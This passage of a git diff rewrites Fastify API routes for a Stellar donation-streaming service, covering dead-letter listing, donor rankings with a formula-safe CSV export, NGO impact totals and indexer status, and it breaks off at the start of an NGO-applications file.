.optional() + .transform((val) => (val === undefined ? undefined : val === 'true')), +}); + +export async function deadLetterRoutes(app: FastifyInstance): Promise { + /** + * Lists failed Soroban contract events recorded in the dead-letter queue. + * @route GET /v1/admin/dead-letters + * @query limit, cursor, resolved + * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 `{ deadLetters: IndexerDeadLetter[], total: number, hasMore: boolean, nextCursor: string | null }`; 400 `{ error: "invalid_request", details }`. + */ + app.get( + '/admin/dead-letters', + { + preHandler: requireAdminSignature, + schema: { + tags: ['Admin'], + summary: 'List dead-lettered events', + description: + 'Returns paginated dead-letter records with an optional resolved status filter.', + querystring: { + type: 'object', + properties: { + limit: { type: 'integer', minimum: 1, maximum: 100, default: 100 }, + cursor: { type: 'string', format: 'uuid' }, + resolved: { type: 'string', enum: ['true', 'false'] }, + }, + }, + response: { + 200: { type: 'object', additionalProperties: true }, + 400: { type: 'object', additionalProperties: true }, + 401: { type: 'object', additionalProperties: true }, + 503: { type: 'object', additionalProperties: true }, + }, + }, + }, + async (request, reply) => { + const parsedQuery = querySchema.safeParse(request.query); + if (!parsedQuery.success) { + return reply + .code(400) + .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); + } + + const { limit, cursor, resolved } = parsedQuery.data; + + const where = + resolved === undefined + ? {} + : resolved + ? { resolvedAt: { not: null } } + : { resolvedAt: null }; + + // Resolve the cursor explicitly. Prisma's `cursor` pagination requires the + // cursor row to exist; the API contract treats an unknown cursor as an + // empty page rather than leaking a Prisma record-not-found error. + const cursorRow = cursor + ? await prisma.indexerDeadLetter.findUnique({ + where: { id: cursor }, + select: { id: true, createdAt: true }, + }) + : null; + + if (cursor && !cursorRow) { + return { + deadLetters: [], + total: await prisma.indexerDeadLetter.count({ where }), + hasMore: false, + nextCursor: null, + }; + } + + const [total, rows] = await Promise.all([ + prisma.indexerDeadLetter.count({ where }), + prisma.indexerDeadLetter.findMany({ + where, + orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], + take: limit + 1, + ...(cursorRow + ? { + where: { + ...where, + OR: [ + { createdAt: { lt: cursorRow.createdAt } }, + { createdAt: cursorRow.createdAt, id: { lt: cursorRow.id } }, + ], + }, + } + : {}), + }), + ]); + + const hasMore = rows.length > limit; + const deadLetters = hasMore ? rows.slice(0, limit) : rows; + const nextCursor = hasMore ? deadLetters[deadLetters.length - 1].id : null; + + return { + deadLetters, + total, + hasMore, + nextCursor, + }; + }, + ); +} diff --git a/src/routes/donors.ts b/src/routes/donors.ts index bc2a927..ba13d4d 100644 --- a/src/routes/donors.ts +++ b/src/routes/donors.ts @@ -1,268 +1,268 @@ -import type { FastifyInstance } from 'fastify'; -import { z } from 'zod'; - -import { prisma } from '../db.js'; -import { sendPublicCacheable } from './cacheable.js'; -import { committedTotalsByToken } from './tokenTotals.js'; - -/** - * Query for GET /v1/donors: `sort` is committed or withdrawn (default - * committed), `order` is asc or desc (default desc), `limit` is 1–100 - * (default 100), and `cursor` is an optional donor UUID. - */ -const querySchema = z.object({ - sort: z.enum(['committed', 'withdrawn']).default('committed'), - order: z.enum(['asc', 'desc']).default('desc'), - limit: z.coerce.number().int().min(1).max(100).default(100), - cursor: z.string().uuid().optional(), -}); - -// Stellar StrKey ed25519 public key: 'G' + 55 base32 (A-Z2-7) chars. -/** Params for GET /v1/donors/:address; `address` must match a Stellar G... public key. */ -const addressParamSchema = z.object({ - address: z.string().regex(/^G[A-Z2-7]{55}$/), -}); - -export async function donorRoutes(app: FastifyInstance): Promise { - /** - * Lists donors ranked by committed or withdrawn amount. - * @route GET /v1/donors - * @query sort, order, limit, cursor - * @auth Public - * @returns 200 `{ donors: DonorWithTotals[], nextCursor: string | null }`; 400 `{ error: "invalid_request" }` for invalid query or cursor. - */ - app.get( - '/donors', - { - schema: { - tags: ['Donors'], - summary: 'Lists donors ranked by committed or withdrawn amount', - }, - }, - async (request, reply) => { - const parsedQuery = querySchema.safeParse(request.query); - if (!parsedQuery.success) { - return reply - .code(400) - .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); - } - - const { sort, order, limit, cursor } = parsedQuery.data; - const rows = await prisma.donor.findMany({ - include: { - streams: { select: { balance: true, withdrawn: true, status: true, tokenAddress: true } }, - }, - }); - - const ranked = rows - .map(({ streams, ...donor }) => ({ - ...donor, - totalCommitted: streams - .reduce( - (sum, stream) => - stream.status === 'CANCELLED' - ? sum + BigInt(stream.withdrawn) - : sum + BigInt(stream.balance) + BigInt(stream.withdrawn), - 0n, - ) - .toString(), - committedByToken: committedTotalsByToken(streams), - totalWithdrawn: streams - .reduce((sum, stream) => sum + BigInt(stream.withdrawn), 0n) - .toString(), - })) - .sort((left, right) => { - const leftValue = BigInt(sort === 'committed' ? left.totalCommitted : left.totalWithdrawn); - const rightValue = BigInt( - sort === 'committed' ? right.totalCommitted : right.totalWithdrawn, - ); - const comparison = leftValue < rightValue ? -1 : leftValue > rightValue ? 1 : 0; - - if (comparison !== 0) return order === 'asc' ? comparison : -comparison; - return left.id.localeCompare(right.id); - }); - - const cursorIndex = cursor ? ranked.findIndex((donor) => donor.id === cursor) : -1; - if (cursor && cursorIndex === -1) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const start = cursorIndex + 1; - const page = ranked.slice(start, start + limit + 1); - const hasMore = page.length > limit; - const donors = hasMore ? page.slice(0, limit) : page; - - return sendPublicCacheable(request, reply, { - donors, - nextCursor: hasMore ? donors[donors.length - 1].id : null, - }); - }); - - // Per-donor summary so the dashboard (and other clients) can show donor - // stats without paging through every stream and summing in the browser. - /** - * Returns one donor's aggregate giving statistics. - * @route GET /v1/donors/:address - * @param address Stellar public key - * @auth Public - * @returns 200 donor with decimal-string `totalCommitted` and `totalWithdrawn`, plus `activeStreamCount` and `distinctNgoCount`; 400 invalid address; 404 `{ error: "not_found" }`. - */ - app.get( - '/donors/:address', - { - schema: { - tags: ['Donors'], - summary: "Returns one donor's aggregate giving statistics", - }, - }, - async (request, reply) => { - const parsedParams = addressParamSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const donor = await prisma.donor.findUnique({ - where: { address: parsedParams.data.address }, - include: { - streams: { - select: { - ngoId: true, - balance: true, - withdrawn: true, - status: true, - tokenAddress: true, - }, - }, - }, - }); - - if (!donor) { - return reply.code(404).send({ error: 'not_found' }); - } - - const { streams, ...rest } = donor; - - // A cancelled stream's remaining balance is no longer committed; only what - // it already paid out counts, matching GET /donors. - const totalCommitted = streams - .reduce( - (sum, stream) => - stream.status === 'CANCELLED' - ? sum + BigInt(stream.withdrawn) - : sum + BigInt(stream.balance) + BigInt(stream.withdrawn), - 0n, - ) - .toString(); - const totalWithdrawn = streams - .reduce((sum, stream) => sum + BigInt(stream.withdrawn), 0n) - .toString(); - - return sendPublicCacheable(request, reply, { - ...rest, - totalCommitted, - committedByToken: committedTotalsByToken(streams), - totalWithdrawn, - activeStreamCount: streams.filter((stream) => stream.status === 'ACTIVE').length, - distinctNgoCount: new Set(streams.map((stream) => stream.ngoId)).size, - }); - }); - - /** - * Helper to escape a value for CSV with RFC 4180 rules and formula injection protection. - */ - function escapeCsvField(value: unknown): string { - if (value === null || value === undefined) { - return ''; - } - let str = String(value); - // Formula-safe: if string starts with dangerous characters, prefix with single quote - if (/^[=+\-@\t\r]/.test(str)) { - str = `'${str}`; - } - // If field contains quotes, commas, or newlines, wrap in quotes and escape internal quotes - if (str.includes('"') || str.includes(',') || str.includes('\n') || str.includes('\r')) { - return `"${str.replace(/"/g, '""')}"`; - } - return str; - } - - /** - * Exports all streams for a donor as a CSV file with formula-safe fields. - * @route GET /v1/donors/:address/streams.csv - * @param address Stellar public key - * @auth Public - * @returns 200 CSV stream; 400 invalid address; 404 `{ error: "not_found" }`. - */ - app.get('/donors/:address/streams.csv', async (request, reply) => { - const parsedParams = addressParamSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const donor = await prisma.donor.findUnique({ - where: { address: parsedParams.data.address }, - }); - - if (!donor) { - return reply.code(404).send({ error: 'not_found' }); - } - - const streams = await prisma.stream.findMany({ - where: { donorId: donor.id }, - orderBy: { createdAt: 'desc' }, - include: { - ngo: { select: { id: true, name: true, displayName: true, ownerAddress: true } }, - }, - }); - - const headers = [ - 'id', - 'onChainId', - 'ngoId', - 'ngoName', - 'ngoAddress', - 'tokenAddress', - 'rate', - 'lastRate', - 'balance', - 'withdrawn', - 'status', - 'createdTxHash', - 'createdAt', - 'updatedAt', - ]; - - const rows = streams.map((stream) => { - const ngoName = stream.ngo.displayName || stream.ngo.name || ''; - return [ - stream.id, - stream.onChainId.toString(), - stream.ngoId, - ngoName, - stream.ngo.ownerAddress, - stream.tokenAddress, - stream.rate, - stream.lastRate ?? '', - stream.balance, - stream.withdrawn, - stream.status, - stream.createdTxHash ?? '', - stream.createdAt.toISOString(), - stream.updatedAt.toISOString(), - ]; - }); - - const csvContent = [ - headers.map(escapeCsvField).join(','), - ...rows.map((row) => row.map(escapeCsvField).join(',')), - ].join('\r\n'); - - reply.header('content-type', 'text/csv; charset=utf-8'); - reply.header( - 'content-disposition', - `attachment; filename="donor-${parsedParams.data.address}-streams.csv"`, - ); - - return reply.send(csvContent ? `${csvContent}\r\n` : ''); - }); -} +import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; + +import { prisma } from '../db.js'; +import { sendPublicCacheable } from './cacheable.js'; +import { committedTotalsByToken } from './tokenTotals.js'; + +/** + * Query for GET /v1/donors: `sort` is committed or withdrawn (default + * committed), `order` is asc or desc (default desc), `limit` is 1–100 + * (default 100), and `cursor` is an optional donor UUID. + */ +const querySchema = z.object({ + sort: z.enum(['committed', 'withdrawn']).default('committed'), + order: z.enum(['asc', 'desc']).default('desc'), + limit: z.coerce.number().int().min(1).max(100).default(100), + cursor: z.string().uuid().optional(), +}); + +// Stellar StrKey ed25519 public key: 'G' + 55 base32 (A-Z2-7) chars. +/** Params for GET /v1/donors/:address; `address` must match a Stellar G... public key. */ +const addressParamSchema = z.object({ + address: z.string().regex(/^G[A-Z2-7]{55}$/), +}); + +export async function donorRoutes(app: FastifyInstance): Promise { + /** + * Lists donors ranked by committed or withdrawn amount. + * @route GET /v1/donors + * @query sort, order, limit, cursor + * @auth Public + * @returns 200 `{ donors: DonorWithTotals[], nextCursor: string | null }`; 400 `{ error: "invalid_request" }` for invalid query or cursor. + */ + app.get( + '/donors', + { + schema: { + tags: ['Donors'], + summary: 'Lists donors ranked by committed or withdrawn amount', + }, + }, + async (request, reply) => { + const parsedQuery = querySchema.safeParse(request.query); + if (!parsedQuery.success) { + return reply + .code(400) + .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); + } + + const { sort, order, limit, cursor } = parsedQuery.data; + const rows = await prisma.donor.findMany({ + include: { + streams: { select: { balance: true, withdrawn: true, status: true, tokenAddress: true } }, + }, + }); + + const ranked = rows + .map(({ streams, ...donor }) => ({ + ...donor, + totalCommitted: streams + .reduce( + (sum, stream) => + stream.status === 'CANCELLED' + ? sum + BigInt(stream.withdrawn) + : sum + BigInt(stream.balance) + BigInt(stream.withdrawn), + 0n, + ) + .toString(), + committedByToken: committedTotalsByToken(streams), + totalWithdrawn: streams + .reduce((sum, stream) => sum + BigInt(stream.withdrawn), 0n) + .toString(), + })) + .sort((left, right) => { + const leftValue = BigInt(sort === 'committed' ? left.totalCommitted : left.totalWithdrawn); + const rightValue = BigInt( + sort === 'committed' ? right.totalCommitted : right.totalWithdrawn, + ); + const comparison = leftValue < rightValue ? -1 : leftValue > rightValue ? 1 : 0; + + if (comparison !== 0) return order === 'asc' ? comparison : -comparison; + return left.id.localeCompare(right.id); + }); + + const cursorIndex = cursor ? ranked.findIndex((donor) => donor.id === cursor) : -1; + if (cursor && cursorIndex === -1) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const start = cursorIndex + 1; + const page = ranked.slice(start, start + limit + 1); + const hasMore = page.length > limit; + const donors = hasMore ? page.slice(0, limit) : page; + + return sendPublicCacheable(request, reply, { + donors, + nextCursor: hasMore ? donors[donors.length - 1].id : null, + }); + }); + + // Per-donor summary so the dashboard (and other clients) can show donor + // stats without paging through every stream and summing in the browser. + /** + * Returns one donor's aggregate giving statistics. + * @route GET /v1/donors/:address + * @param address Stellar public key + * @auth Public + * @returns 200 donor with decimal-string `totalCommitted` and `totalWithdrawn`, plus `activeStreamCount` and `distinctNgoCount`; 400 invalid address; 404 `{ error: "not_found" }`. + */ + app.get( + '/donors/:address', + { + schema: { + tags: ['Donors'], + summary: "Returns one donor's aggregate giving statistics", + }, + }, + async (request, reply) => { + const parsedParams = addressParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const donor = await prisma.donor.findUnique({ + where: { address: parsedParams.data.address }, + include: { + streams: { + select: { + ngoId: true, + balance: true, + withdrawn: true, + status: true, + tokenAddress: true, + }, + }, + }, + }); + + if (!donor) { + return reply.code(404).send({ error: 'not_found' }); + } + + const { streams, ...rest } = donor; + + // A cancelled stream's remaining balance is no longer committed; only what + // it already paid out counts, matching GET /donors. + const totalCommitted = streams + .reduce( + (sum, stream) => + stream.status === 'CANCELLED' + ? sum + BigInt(stream.withdrawn) + : sum + BigInt(stream.balance) + BigInt(stream.withdrawn), + 0n, + ) + .toString(); + const totalWithdrawn = streams + .reduce((sum, stream) => sum + BigInt(stream.withdrawn), 0n) + .toString(); + + return sendPublicCacheable(request, reply, { + ...rest, + totalCommitted, + committedByToken: committedTotalsByToken(streams), + totalWithdrawn, + activeStreamCount: streams.filter((stream) => stream.status === 'ACTIVE').length, + distinctNgoCount: new Set(streams.map((stream) => stream.ngoId)).size, + }); + }); + + /** + * Helper to escape a value for CSV with RFC 4180 rules and formula injection protection. + */ + function escapeCsvField(value: unknown): string { + if (value === null || value === undefined) { + return ''; + } + let str = String(value); + // Formula-safe: if string starts with dangerous characters, prefix with single quote + if (/^[=+\-@\t\r]/.test(str)) { + str = `'${str}`; + } + // If field contains quotes, commas, or newlines, wrap in quotes and escape internal quotes + if (str.includes('"') || str.includes(',') || str.includes('\n') || str.includes('\r')) { + return `"${str.replace(/"/g, '""')}"`; + } + return str; + } + + /** + * Exports all streams for a donor as a CSV file with formula-safe fields. + * @route GET /v1/donors/:address/streams.csv + * @param address Stellar public key + * @auth Public + * @returns 200 CSV stream; 400 invalid address; 404 `{ error: "not_found" }`. + */ + app.get('/donors/:address/streams.csv', async (request, reply) => { + const parsedParams = addressParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const donor = await prisma.donor.findUnique({ + where: { address: parsedParams.data.address }, + }); + + if (!donor) { + return reply.code(404).send({ error: 'not_found' }); + } + + const streams = await prisma.stream.findMany({ + where: { donorId: donor.id }, + orderBy: { createdAt: 'desc' }, + include: { + ngo: { select: { id: true, name: true, displayName: true, ownerAddress: true } }, + }, + }); + + const headers = [ + 'id', + 'onChainId', + 'ngoId', + 'ngoName', + 'ngoAddress', + 'tokenAddress', + 'rate', + 'lastRate', + 'balance', + 'withdrawn', + 'status', + 'createdTxHash', + 'createdAt', + 'updatedAt', + ]; + + const rows = streams.map((stream) => { + const ngoName = stream.ngo.displayName || stream.ngo.name || ''; + return [ + stream.id, + stream.onChainId.toString(), + stream.ngoId, + ngoName, + stream.ngo.ownerAddress, + stream.tokenAddress, + stream.rate, + stream.lastRate ?? '', + stream.balance, + stream.withdrawn, + stream.status, + stream.createdTxHash ?? '', + stream.createdAt.toISOString(), + stream.updatedAt.toISOString(), + ]; + }); + + const csvContent = [ + headers.map(escapeCsvField).join(','), + ...rows.map((row) => row.map(escapeCsvField).join(',')), + ].join('\r\n'); + + reply.header('content-type', 'text/csv; charset=utf-8'); + reply.header( + 'content-disposition', + `attachment; filename="donor-${parsedParams.data.address}-streams.csv"`, + ); + + return reply.send(csvContent ? `${csvContent}\r\n` : ''); + }); +} diff --git a/src/routes/impact.ts b/src/routes/impact.ts index 3d2a93e..593ee7f 100644 --- a/src/routes/impact.ts +++ b/src/routes/impact.ts @@ -1,162 +1,162 @@ -import type { FastifyInstance } from 'fastify'; -import { z } from 'zod'; - -import { prisma } from '../db.js'; -import { sendPublicCacheable } from './cacheable.js'; -import { getPublicNgoName } from './ngoName.js'; -import { committedTotalsByToken } from './tokenTotals.js'; - -/** Params for GET /v1/impact/:ngoId; `ngoId` must be an NGO UUID. */ -const paramsSchema = z.object({ ngoId: z.string().uuid() }); - -/** - * Public "impact" view for one NGO — a superset of /ngos/:id's profile - * stats, framed around relative impact rather than admin/profile detail: - * active vs. cancelled breakdown, and this NGO's share of everything ever - * committed platform-wide. That platform-wide comparison is the reason - * this isn't just folded into /ngos/:id — a plain profile page shouldn't - * need to scan every stream on the platform to render. - */ -export async function impactRoutes(app: FastifyInstance): Promise { - /** - * Returns platform-wide committed/withdrawn totals and activity counts. - * @route GET /v1/impact - * @auth Public - * @returns 200 `{ totalCommitted: string, totalWithdrawn: string, activeStreams: number, verifiedNgoCount: number }`. - */ - app.get( - '/impact', - { - schema: { - tags: ['Impact'], - summary: 'Returns platform-wide committed/withdrawn totals and activity counts', - }, - }, - async (request, reply) => { - const [streams, verifiedNgoCount] = await Promise.all([ - prisma.stream.findMany({ - select: { balance: true, withdrawn: true, status: true, tokenAddress: true }, - }), - prisma.ngo.count({ where: { verified: true } }), - ]); - - // For cancelled streams the balance was refunded to the donor and never - // delivered to any NGO, so only count withdrawn. Active streams count - // balance + withdrawn (balance will be withdrawn in the future). - const totalCommitted = streams.reduce( - (sum, s) => - s.status === 'CANCELLED' - ? sum + BigInt(s.withdrawn) - : sum + BigInt(s.balance) + BigInt(s.withdrawn), - 0n, - ); - const totalWithdrawn = streams.reduce((sum, s) => sum + BigInt(s.withdrawn), 0n); - const activeStreams = streams.filter((s) => s.status === 'ACTIVE').length; - - return sendPublicCacheable(request, reply, { - totalCommitted: totalCommitted.toString(), - committedByToken: committedTotalsByToken(streams), - totalWithdrawn: totalWithdrawn.toString(), - activeStreams, - verifiedNgoCount, - }); - }); - - /** - * Returns one NGO's contribution and share of platform-wide impact. - * @route GET /v1/impact/:ngoId - * @param ngoId NGO UUID - * @auth Public - * @returns 200 NGO impact totals, stream counts, unique donor count, and `platformSharePercent`; 400 invalid UUID; 404 `{ error: "not_found" }`. - */ - app.get( - '/impact/:ngoId', - { - schema: { - tags: ['Impact'], - summary: 'Get impact totals for one NGO', - params: { - type: 'object', - properties: { ngoId: { type: 'string', format: 'uuid' } }, - required: ['ngoId'], - }, - response: { - 200: { type: 'object', additionalProperties: true }, - 400: { type: 'object', additionalProperties: true }, - 404: { type: 'object', additionalProperties: true }, - }, - }, - }, - async (request, reply) => { - const parsedParams = paramsSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - const { ngoId } = parsedParams.data; - - const ngo = await prisma.ngo.findUnique({ - where: { id: ngoId }, - include: { - streams: { - select: { - status: true, - balance: true, - withdrawn: true, - donorId: true, - tokenAddress: true, - }, - }, - }, - }); - - if (!ngo) { - return reply.code(404).send({ error: 'not_found' }); - } - - // For cancelled streams the balance was refunded to the donor, so only - // count withdrawn. Active streams count balance + withdrawn. - const ngoCommitted = ngo.streams.reduce( - (sum, s) => - s.status === 'CANCELLED' - ? sum + BigInt(s.withdrawn) - : sum + BigInt(s.balance) + BigInt(s.withdrawn), - 0n, - ); - const ngoWithdrawn = ngo.streams.reduce((sum, s) => sum + BigInt(s.withdrawn), 0n); - - // Scans every stream on the platform — fine at MVP scale, but this is - // the first thing to replace with a maintained running total if the - // streams table grows large. - const allStreams = await prisma.stream.findMany({ - select: { balance: true, withdrawn: true, status: true, tokenAddress: true }, - }); - const platformCommitted = allStreams.reduce( - (sum, s) => - s.status === 'CANCELLED' - ? sum + BigInt(s.withdrawn) - : sum + BigInt(s.balance) + BigInt(s.withdrawn), - 0n, - ); - - const percentScale = 1_000_000_000_000n; - const platformSharePercent = - platformCommitted > 0n - ? Number((ngoCommitted * 100n * percentScale) / platformCommitted) / - Number(percentScale) - : 0; - - return sendPublicCacheable(request, reply, { - ngoId: ngo.id, - name: getPublicNgoName(ngo), - totalCommitted: ngoCommitted.toString(), - committedByToken: committedTotalsByToken(ngo.streams), - platformCommittedByToken: committedTotalsByToken(allStreams), - totalWithdrawn: ngoWithdrawn.toString(), - activeStreams: ngo.streams.filter((s) => s.status === 'ACTIVE').length, - cancelledStreams: ngo.streams.filter((s) => s.status === 'CANCELLED').length, - uniqueDonors: new Set(ngo.streams.map((s) => s.donorId)).size, - platformSharePercent, - }); - }, - ); -} +import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; + +import { prisma } from '../db.js'; +import { sendPublicCacheable } from './cacheable.js'; +import { getPublicNgoName } from './ngoName.js'; +import { committedTotalsByToken } from './tokenTotals.js'; + +/** Params for GET /v1/impact/:ngoId; `ngoId` must be an NGO UUID. */ +const paramsSchema = z.object({ ngoId: z.string().uuid() }); + +/** + * Public "impact" view for one NGO — a superset of /ngos/:id's profile + * stats, framed around relative impact rather than admin/profile detail: + * active vs. cancelled breakdown, and this NGO's share of everything ever + * committed platform-wide. That platform-wide comparison is the reason + * this isn't just folded into /ngos/:id — a plain profile page shouldn't + * need to scan every stream on the platform to render. + */ +export async function impactRoutes(app: FastifyInstance): Promise { + /** + * Returns platform-wide committed/withdrawn totals and activity counts. + * @route GET /v1/impact + * @auth Public + * @returns 200 `{ totalCommitted: string, totalWithdrawn: string, activeStreams: number, verifiedNgoCount: number }`. + */ + app.get( + '/impact', + { + schema: { + tags: ['Impact'], + summary: 'Returns platform-wide committed/withdrawn totals and activity counts', + }, + }, + async (request, reply) => { + const [streams, verifiedNgoCount] = await Promise.all([ + prisma.stream.findMany({ + select: { balance: true, withdrawn: true, status: true, tokenAddress: true }, + }), + prisma.ngo.count({ where: { verified: true } }), + ]); + + // For cancelled streams the balance was refunded to the donor and never + // delivered to any NGO, so only count withdrawn. Active streams count + // balance + withdrawn (balance will be withdrawn in the future). + const totalCommitted = streams.reduce( + (sum, s) => + s.status === 'CANCELLED' + ? sum + BigInt(s.withdrawn) + : sum + BigInt(s.balance) + BigInt(s.withdrawn), + 0n, + ); + const totalWithdrawn = streams.reduce((sum, s) => sum + BigInt(s.withdrawn), 0n); + const activeStreams = streams.filter((s) => s.status === 'ACTIVE').length; + + return sendPublicCacheable(request, reply, { + totalCommitted: totalCommitted.toString(), + committedByToken: committedTotalsByToken(streams), + totalWithdrawn: totalWithdrawn.toString(), + activeStreams, + verifiedNgoCount, + }); + }); + + /** + * Returns one NGO's contribution and share of platform-wide impact. + * @route GET /v1/impact/:ngoId + * @param ngoId NGO UUID + * @auth Public + * @returns 200 NGO impact totals, stream counts, unique donor count, and `platformSharePercent`; 400 invalid UUID; 404 `{ error: "not_found" }`. + */ + app.get( + '/impact/:ngoId', + { + schema: { + tags: ['Impact'], + summary: 'Get impact totals for one NGO', + params: { + type: 'object', + properties: { ngoId: { type: 'string', format: 'uuid' } }, + required: ['ngoId'], + }, + response: { + 200: { type: 'object', additionalProperties: true }, + 400: { type: 'object', additionalProperties: true }, + 404: { type: 'object', additionalProperties: true }, + }, + }, + }, + async (request, reply) => { + const parsedParams = paramsSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + const { ngoId } = parsedParams.data; + + const ngo = await prisma.ngo.findUnique({ + where: { id: ngoId }, + include: { + streams: { + select: { + status: true, + balance: true, + withdrawn: true, + donorId: true, + tokenAddress: true, + }, + }, + }, + }); + + if (!ngo) { + return reply.code(404).send({ error: 'not_found' }); + } + + // For cancelled streams the balance was refunded to the donor, so only + // count withdrawn. Active streams count balance + withdrawn. + const ngoCommitted = ngo.streams.reduce( + (sum, s) => + s.status === 'CANCELLED' + ? sum + BigInt(s.withdrawn) + : sum + BigInt(s.balance) + BigInt(s.withdrawn), + 0n, + ); + const ngoWithdrawn = ngo.streams.reduce((sum, s) => sum + BigInt(s.withdrawn), 0n); + + // Scans every stream on the platform — fine at MVP scale, but this is + // the first thing to replace with a maintained running total if the + // streams table grows large. + const allStreams = await prisma.stream.findMany({ + select: { balance: true, withdrawn: true, status: true, tokenAddress: true }, + }); + const platformCommitted = allStreams.reduce( + (sum, s) => + s.status === 'CANCELLED' + ? sum + BigInt(s.withdrawn) + : sum + BigInt(s.balance) + BigInt(s.withdrawn), + 0n, + ); + + const percentScale = 1_000_000_000_000n; + const platformSharePercent = + platformCommitted > 0n + ? Number((ngoCommitted * 100n * percentScale) / platformCommitted) / + Number(percentScale) + : 0; + + return sendPublicCacheable(request, reply, { + ngoId: ngo.id, + name: getPublicNgoName(ngo), + totalCommitted: ngoCommitted.toString(), + committedByToken: committedTotalsByToken(ngo.streams), + platformCommittedByToken: committedTotalsByToken(allStreams), + totalWithdrawn: ngoWithdrawn.toString(), + activeStreams: ngo.streams.filter((s) => s.status === 'ACTIVE').length, + cancelledStreams: ngo.streams.filter((s) => s.status === 'CANCELLED').length, + uniqueDonors: new Set(ngo.streams.map((s) => s.donorId)).size, + platformSharePercent, + }); + }, + ); +} diff --git a/src/routes/indexerStatus.ts b/src/routes/indexerStatus.ts index 0b85d1f..29de442 100644 --- a/src/routes/indexerStatus.ts +++ b/src/routes/indexerStatus.ts @@ -1,72 +1,72 @@ - -import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; - -import { getCheckpointState } from '../indexer/checkpoint.js'; -import { WATCHED_CONTRACT_IDS } from '../indexer/contracts.js'; -import { getLatestLedgerSequence } from '../stellar/rpc.js'; - -export async function indexerStatusRoutes(fastify: FastifyInstance) { - /** - * Reports whether the indexer is configured and its checkpoint/ledger lag. - * @route GET /v1/indexer/status - * @auth Public - * @returns 200 `{ configured, checkpointLedger, updatedAt, latestLedger, ledgerLag }`; ledger values and timestamp are null when not configured. - */ - fastify.get( - '/indexer/status', - { - schema: { - tags: ['Indexer'], - summary: 'Reports whether the indexer is configured and its checkpoint/ledger lag', - }, - }, - async (_request: FastifyRequest, reply: FastifyReply) => { - const watchedEnvString = - process.env.WATCHED_CONTRACT_IDS ?? process.env.CONTRACT_IDS; - - const envWatched = - watchedEnvString !== undefined - ? watchedEnvString - .split(',') - .map((s) => s.trim()) - .filter(Boolean) - : [ - process.env.NGO_REGISTRY_CONTRACT_ID ?? '', - process.env.DONATION_VAULT_CONTRACT_ID ?? '', - ].filter(Boolean); - - const isConfigured = - envWatched.length > 0 || WATCHED_CONTRACT_IDS.length > 0; - - if (!isConfigured) { - return reply.send({ - configured: false, - checkpointLedger: null, - updatedAt: null, - latestLedger: null, - ledgerLag: null, - }); - } - - const [checkpoint, latestLedger] = await Promise.all([ - getCheckpointState(), - getLatestLedgerSequence(), - ]); - - const checkpointLedger = checkpoint?.lastLedger ?? null; - const updatedAt = checkpoint?.updatedAt - ? checkpoint.updatedAt.toISOString() - : null; - const ledgerLag = - checkpointLedger !== null ? latestLedger - checkpointLedger : null; - - return reply.send({ - configured: true, - checkpointLedger, - updatedAt, - latestLedger, - ledgerLag, - }); - }, - ); -} + +import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; + +import { getCheckpointState } from '../indexer/checkpoint.js'; +import { WATCHED_CONTRACT_IDS } from '../indexer/contracts.js'; +import { getLatestLedgerSequence } from '../stellar/rpc.js'; + +export async function indexerStatusRoutes(fastify: FastifyInstance) { + /** + * Reports whether the indexer is configured and its checkpoint/ledger lag. + * @route GET /v1/indexer/status + * @auth Public + * @returns 200 `{ configured, checkpointLedger, updatedAt, latestLedger, ledgerLag }`; ledger values and timestamp are null when not configured. + */ + fastify.get( + '/indexer/status', + { + schema: { + tags: ['Indexer'], + summary: 'Reports whether the indexer is configured and its checkpoint/ledger lag', + }, + }, + async (_request: FastifyRequest, reply: FastifyReply) => { + const watchedEnvString = + process.env.WATCHED_CONTRACT_IDS ?? process.env.CONTRACT_IDS; + + const envWatched = + watchedEnvString !== undefined + ? watchedEnvString + .split(',') + .map((s) => s.trim()) + .filter(Boolean) + : [ + process.env.NGO_REGISTRY_CONTRACT_ID ?? '', + process.env.DONATION_VAULT_CONTRACT_ID ?? '', + ].filter(Boolean); + + const isConfigured = + envWatched.length > 0 || WATCHED_CONTRACT_IDS.length > 0; + + if (!isConfigured) { + return reply.send({ + configured: false, + checkpointLedger: null, + updatedAt: null, + latestLedger: null, + ledgerLag: null, + }); + } + + const [checkpoint, latestLedger] = await Promise.all([ + getCheckpointState(), + getLatestLedgerSequence(), + ]); + + const checkpointLedger = checkpoint?.lastLedger ?? null; + const updatedAt = checkpoint?.updatedAt + ? checkpoint.updatedAt.toISOString() + : null; + const ledgerLag = + checkpointLedger !== null ? latestLedger - checkpointLedger : null; + + return reply.send({ + configured: true, + checkpointLedger, + updatedAt, + latestLedger, + ledgerLag, + }); + }, + ); +} diff --git a/src/routes/ngoApplications.ts b/src/routes/ngoApplications.ts index 02576f6..8c05026 100644 --- a/src/routes/ngoApplications.ts +++ b/src/routes/ngoApplications.ts @@ -1,641 +1,641 @@ -import type { FastifyInstance } from 'fastify'; -import { randomUUID } from 'node:crypto'; -import { Keypair, StrKey } from '@stellar/stellar-sdk'; -import { z } from 'zod'; - -import { prisma } from '../db.js'; -import { requireAdminSignature, sep53Hash } from '../middleware/adminAuth.js'; -import { notify } from '../notifications/service.js'; -import { sendContactVerification, verifyContactToken } from '../notifications/contactVerification.js'; - -const APPLICATION_CHALLENGE_TTL_MS = 5 * 60 * 1000; - -/** - * Submission body: `ownerAddress` must be a Stellar G... public key; - * `name` and `description` are required (1–200 and 1–5000 characters after - * trimming — 